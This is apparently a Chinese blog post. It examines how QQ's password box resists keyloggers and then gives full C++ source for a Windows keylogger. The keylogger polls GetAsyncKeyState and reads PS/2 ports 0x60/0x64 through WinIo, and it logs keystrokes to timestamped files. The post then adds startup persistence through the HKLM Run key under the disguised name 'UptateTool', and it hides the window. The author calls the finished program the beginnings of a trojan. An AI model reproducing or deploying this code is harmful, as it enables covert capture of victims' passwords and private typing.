突然对QQ的安全机制起了兴趣..
想来利用检测键盘状态来做键盘记录应该很容易.安全软件也不能认为这种需求为非法.那QQ怎么防类似记录呢.
做个实验.
随便写个程序,每帧都去读取键盘状态.行不行?
- for(int i = 8; i <=255; i++)
- {
- if( GetAsyncKeyState(i) & 1 == 1 )
- {
- cout << i;
- }
- }
很容易取得键盘状态,每帧之间sleep上5微秒.CPU也不会高也不会漏掉.
这样做的话,在使用记事本或其他应用的时候都是可以记录的.但当QQ登录框的密码项激活时,我发现即使没有按键盘,也会不断有检测到键盘按键被按下..
也就是说QQ的密码框在不断的伪造按键事件..
嗯,这个方法挺巧妙的.我实验了一下招商银行的安全控件.没有类似的伪造行为.
这么看QQ和安全控件的原理应该一样,HOOK掉键盘事件.隐藏或伪造真实事件.
WINDOWS的机制是后HOOK的钩子先被通知,那如果我们也HOOK掉相同的事件呢?
百度一下..发现有人研究过.QQ有个定时器,隔段时间会重新UNHOOK,HOOK一次.哈哈.这个机制确实巧妙.不禁的要赞一下.
那再底层有没有办法监控呢?.试试用WINIO直接读取键盘中断的方法.这个设计到很多硬件知识.实在是不懂,搜了一圈知道以下原理:
PS2的键盘芯片.会在有键盘按下时改变端口64的标志位.这时候去读取端口60的值,就能得到当前按下的键盘按键的扫描码.
相关资料参考 :
http://blog.csdn.net/vangoals/article/details/4405032
数据一旦被读走,状态寄存器就会清0.所以这里必须不停的监控.CPU占用会较高.
于是写了如下程序.每次启动时生成一个以当前时间命名的文件,不停监控键盘事件,如果10秒内没有键盘敲击,则将之前的数据写入文件.在WIN7,XP下运行通过.
- // KeyBoardRecord.cpp : Defines the entry point for the console application.
- //
-
- #include <windows.h>
- #include <Winuser.h>
- #include <string>
- #include <fstream>
- #include <iostream>
-
- #include <time.h>
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/timeb.h>
- #include <assert.h>
-
- #include <..\WinIo\Source\Dll\winio.h>
-
- #pragma comment( lib, "..\\WinIo_v2\\Source\\Dll\\Release\\WinIo.lib" )
-
- using namespace std;
-
-
- string GetKey(int Key) // 判断键盘按下什么键
- {
- string KeyString = "";
- //判断符号输入
- const int KeyPressMask=0x80000000; //键盘掩码常量
- int iShift=GetKeyState(0x10); //判断Shift键状态
- bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
- if(Key >=186 && Key <=222)
- {
- switch(Key)
- {
- case 186:
- if(IS)
- KeyString = ":";
- else
- KeyString = ";";
- break;
- case 187:
- if(IS)
- KeyString = "+";
- else
- KeyString = "=";
- break;
- case 188:
- if(IS)
- KeyString = "<";
- else
- KeyString = ",";
- break;
- case 189:
- if(IS)
- KeyString = "_";
- else
- KeyString = "-";
- break;
- case 190:
- if(IS)
- KeyString = ">";
- else
- KeyString = ".";
- break;
- case 191:
- if(IS)
- KeyString = "?";
- else
- KeyString = "/";
- break;
- case 192:
- if(IS)
- KeyString = "~";
- else
- KeyString = "`";
- break;
- case 219:
- if(IS)
- KeyString = "{";
- else
- KeyString = "[";
- break;
- case 220:
- if(IS)
- KeyString = "|";
- else
- KeyString = "\\";
- break;
- case 221:
- if(IS)
- KeyString = "}";
- else
- KeyString = "]";
- break;
- case 222:
- if(IS)
- KeyString = '"';
- else
- KeyString = "'";
- break;
- }
- }
- //判断键盘的第一行
- if (Key == VK_ESCAPE) // 退出
- KeyString = "[Esc]";
- else if (Key == VK_F1) // F1至F12
- KeyString = "[F1]";
- else if (Key == VK_F2)
- KeyString = "[F2]";
- else if (Key == VK_F3)
- KeyString = "[F3]";
- else if (Key == VK_F4)
- KeyString = "[F4]";
- else if (Key == VK_F5)
- KeyString = "[F5]";
- else if (Key == VK_F6)
- KeyString = "[F6]";
- else if (Key == VK_F7)
- KeyString = "[F7]";
- else if (Key == VK_F8)
- KeyString = "[F8]";
- else if (Key == VK_F9)
- KeyString = "[F9]";
- else if (Key == VK_F10)
- KeyString = "[F10]";
- else if (Key == VK_F11)
- KeyString = "[F11]";
- else if (Key == VK_F12)
- KeyString = "[F12]";
- else if (Key == VK_SNAPSHOT) // 打印屏幕
- KeyString = "[PrScrn]";
- else if (Key == VK_SCROLL) // 滚动锁定
- KeyString = "[Scroll Lock]";
- else if (Key == VK_PAUSE) // 暂停、中断
- KeyString = "[Pause]";
- else if (Key == VK_CAPITAL) // 大写锁定
- KeyString = "[Caps Lock]";
-
- //-------------------------------------//
- //控制键
- else if (Key == 8) //<- 回格键
- KeyString = "[Backspace]";
- else if (Key == VK_RETURN) // 回车键、换行
- KeyString = "[Enter]\n";
- else if (Key == VK_SPACE) // 空格
- KeyString = " ";
- //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
- //上档键和别的键组合,输出时有字符输出
- /*
- else if (Key == VK_LSHIFT) // 左侧上档键
- KeyString = "[Shift]";
- else if (Key == VK_LSHIFT) // 右侧上档键
- KeyString = "[SHIFT]";
- */
- /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
- //else if (Key == VK_TAB) // 制表键
- // KeyString = "[Tab]";
- //else if (Key == VK_LCONTROL) // 左控制键
- // KeyString = "[Ctrl]";
- //else if (Key == VK_RCONTROL) // 右控制键
- // KeyString = "[CTRL]";
- //else if (Key == VK_LMENU) // 左换档键
- // KeyString = "[Alt]";
- //else if (Key == VK_LMENU) // 右换档键
- // KeyString = "[ALT]";
- //else if (Key == VK_LWIN) // 右 WINDOWS 键
- // KeyString = "[Win]";
- //else if (Key == VK_RWIN) // 右 WINDOWS 键
- // KeyString = "[WIN]";
- //else if (Key == VK_APPS) // 键盘上 右键
- // KeyString = "右键";
- //else if (Key == VK_INSERT) // 插入
- // KeyString = "[Insert]";
- //else if (Key == VK_DELETE) // 删除
- // KeyString = "[Delete]";
- //else if (Key == VK_HOME) // 起始
- // KeyString = "[Home]";
- //else if (Key == VK_END) // 结束
- // KeyString = "[End]";
- //else if (Key == VK_PRIOR) // 上一页
- // KeyString = "[PgUp]";
- //else if (Key == VK_NEXT) // 下一页
- // KeyString = "[PgDown]";
- //// 不常用的几个键:一般键盘没有
- //else if (Key == VK_CANCEL) // Cancel
- // KeyString = "[Cancel]";
- //else if (Key == VK_CLEAR) // Clear
- // KeyString = "[Clear]";
- //else if (Key == VK_SELECT) //Select
- // KeyString = "[Select]";
- //else if (Key == VK_PRINT) //Print
- // KeyString = "[Print]";
- //else if (Key == VK_EXECUTE) //Execute
- // KeyString = "[Execute]";
-
- //----------------------------------------//
- else if (Key == VK_LEFT) //上、下、左、右键
- KeyString = "[←]";
- else if (Key == VK_RIGHT)
- KeyString = "[→]";
- else if (Key == VK_UP)
- KeyString = "[↑]";
- else if (Key == VK_DOWN)
- KeyString = "[↓]";
- else if (Key == VK_NUMLOCK)//小键盘数码锁定
- KeyString = "[NumLock]";
- else if (Key == VK_ADD) // 加、减、乘、除
- KeyString = "+";
- else if (Key == VK_SUBTRACT)
- KeyString = "-";
- else if (Key == VK_MULTIPLY)
- KeyString = "*";
- else if (Key == VK_DIVIDE)
- KeyString = "/";
- else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
- KeyString = ".";
- //小键盘数字键:0-9
- else if (Key == VK_NUMPAD0)
- KeyString = "0";
- else if (Key == VK_NUMPAD1)
- KeyString = "1";
- else if (Key == VK_NUMPAD2)
- KeyString = "2";
- else if (Key == VK_NUMPAD3)
- KeyString = "3";
- else if (Key == VK_NUMPAD4)
- KeyString = "4";
- else if (Key == VK_NUMPAD5)
- KeyString = "5";
- else if (Key == VK_NUMPAD6)
- KeyString = "6";
- else if (Key == VK_NUMPAD7)
- KeyString = "7";
- else if (Key == VK_NUMPAD8)
- KeyString = "8";
- else if (Key == VK_NUMPAD9)
- KeyString = "9";
- //-------------------------------------------//
-
- //-------------------------------------------//
- //*对字母的大小写进行判断*//
- else if (Key >=97 && Key <= 122) // 字母:a-z
- {
- if (GetKeyState(VK_CAPITAL)) // 大写锁定
- {
- if(IS) //Shift按下:为小写字母
- KeyString = Key;
- else // 只有大写锁定:输出大写字母
- KeyString = Key - 32;
- }
- else// 大写没有锁定
- {
- if(IS) // 按下Shift键: 大写字母
- KeyString = Key - 32;
- else // 没有按Shift键: 小写字母
- KeyString = Key;
- }
- }
- else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
- {
- if(IS)
- {
- switch(Key)
- {
- case 48: //0
- KeyString = ")";
- break;
- case 49://1
- KeyString = "!";
- break;
- case 50://2
- KeyString = "@";
- break;
- case 51://3
- KeyString = "#";
- break;
- case 52://4
- KeyString = "$";
- break;
- case 53://5
- KeyString = "%";
- break;
- case 54://6
- KeyString = "^";
- break;
- case 55://7
- KeyString = "&";
- break;
- case 56://8
- KeyString = "*";
- break;
- case 57://9
- KeyString = "(";
- break;
- }
- }
- else
- KeyString = Key;
- }
- if (Key != VK_LBUTTON || Key != VK_RBUTTON)
- {
- if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
- {
- if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
- {
- if(IS) // 大写锁定,并且按下上档键:输出为小写字母
- KeyString = Key + 32;
- else //只有大写锁定:输出为大写字母
- KeyString = Key;
- }
- else // 大写没有锁定:a-z
- {
- if(IS)
- {
- KeyString = Key;
- }
- else
- {
- Key = Key + 32;
- KeyString = Key;
- }
- }
- }
- }
-
- return KeyString;
- }
-
- //多少秒算一次间隔
- #define RECORD_INTERVAL 10
-
- void main()
- {
- cout << "Start";
- if( InitializeWinIo() == false )
- {
- cout << "can not Init WinIO : " << GetLastError();
- ShutdownWinIo();
- return;
- }
-
- string Filename;
- fstream FStream;
-
- char szCurDir[MAX_PATH];
- GetCurrentDirectoryA( MAX_PATH, szCurDir );
-
- time_t _curTime;
- _curTime = time( NULL );
-
- struct tm *tblock;
- tblock = localtime( &_curTime );
-
- char szTimeBuf[128];
- sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
- //sprintf_s( szTimeBuf, 128,("%d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday );
-
- Filename = string(szCurDir) + "\\" + string( szTimeBuf ) + ".txt";
-
- time_t _curNextRecordTime = _curTime + RECORD_INTERVAL;
-
- FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
- assert( FStream.fail() == false );
- while( FStream.fail() )
- {
- Sleep( 10000 );
- FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
- }
-
- if ( FStream.fail() )
- {
- return;
- }
-
- DWORD _lastVal = 0;
- string _strRecord;
- while(true)
- {
- _curTime = time( NULL );
-
- string TempString = "";
- DWORD dwPortVal = 0;
- if ( GetPortVal( 0x64, &dwPortVal, 1 ) )
- {
- if ( _lastVal != dwPortVal )
- {
- _lastVal = dwPortVal;
- //cout << "0x64 : " << dwPortVal << "\n";
- if ( dwPortVal & 0x1 == 1 )
- {
- DWORD dwKeyVal;
- GetPortVal( 0x60, &dwKeyVal, 1 );
- DWORD relKey = MapVirtualKey( dwKeyVal, 1 );
- TempString += GetKey( relKey );
- //cout << "0x60 : " << relKey << "\n";
- //a 30 158 s 31 159 b 48 176
- cout << TempString;
-
- }
- }
- }
- for(int i = 8; i <=255; i++)
- {
- if( GetAsyncKeyState(i) & 1 == 1)
- {
- TempString += GetKey( i );
- cout << TempString;
- }
- }
-
- if ( !TempString.empty() )
- {
- if ( _strRecord.empty() )
- {
- sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
- _strRecord += string( szTimeBuf ) + "\t ";
- }
- _strRecord += TempString;
-
- _curNextRecordTime = _curTime + RECORD_INTERVAL;
- }
-
- if ( _curNextRecordTime < _curTime )
- {
- if ( !_strRecord.empty() )
- {
- _strRecord += "\n";
- FStream.write(_strRecord.c_str(), _strRecord.size());
- FStream.close();
- FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
-
- _strRecord = "";
- }
-
- _curNextRecordTime = _curTime + RECORD_INTERVAL;
- }
- }
-
- ShutdownWinIo();
-
- }
那..既然做类似研究,就把相关的都做了..比如说开机启动....
- char szModName[MAX_PATH];
- HMODULE GetModH = GetModuleHandle(NULL);
- GetModuleFileName( GetModH, szModName, MAX_PATH );
-
- HKEY hKey;
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
- RegSetValueEx(hKey, "UptateTool", 0, REG_SZ,(const unsigned char*)szModName,sizeof(szModName));
- RegCloseKey( hKey );
嗯..再比如说隐藏程序运行的界面...将程序改为WINDOWS.原来是CONSOLE.然后添加
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPTSTR lpCmdLine,
- int nCmdShow)
- {
- main();
- return 0;
- }
嗯..算是一个木马的雏形了..就是还搞不懂USB键盘应该怎么做.原理一样么?求达人指教...
|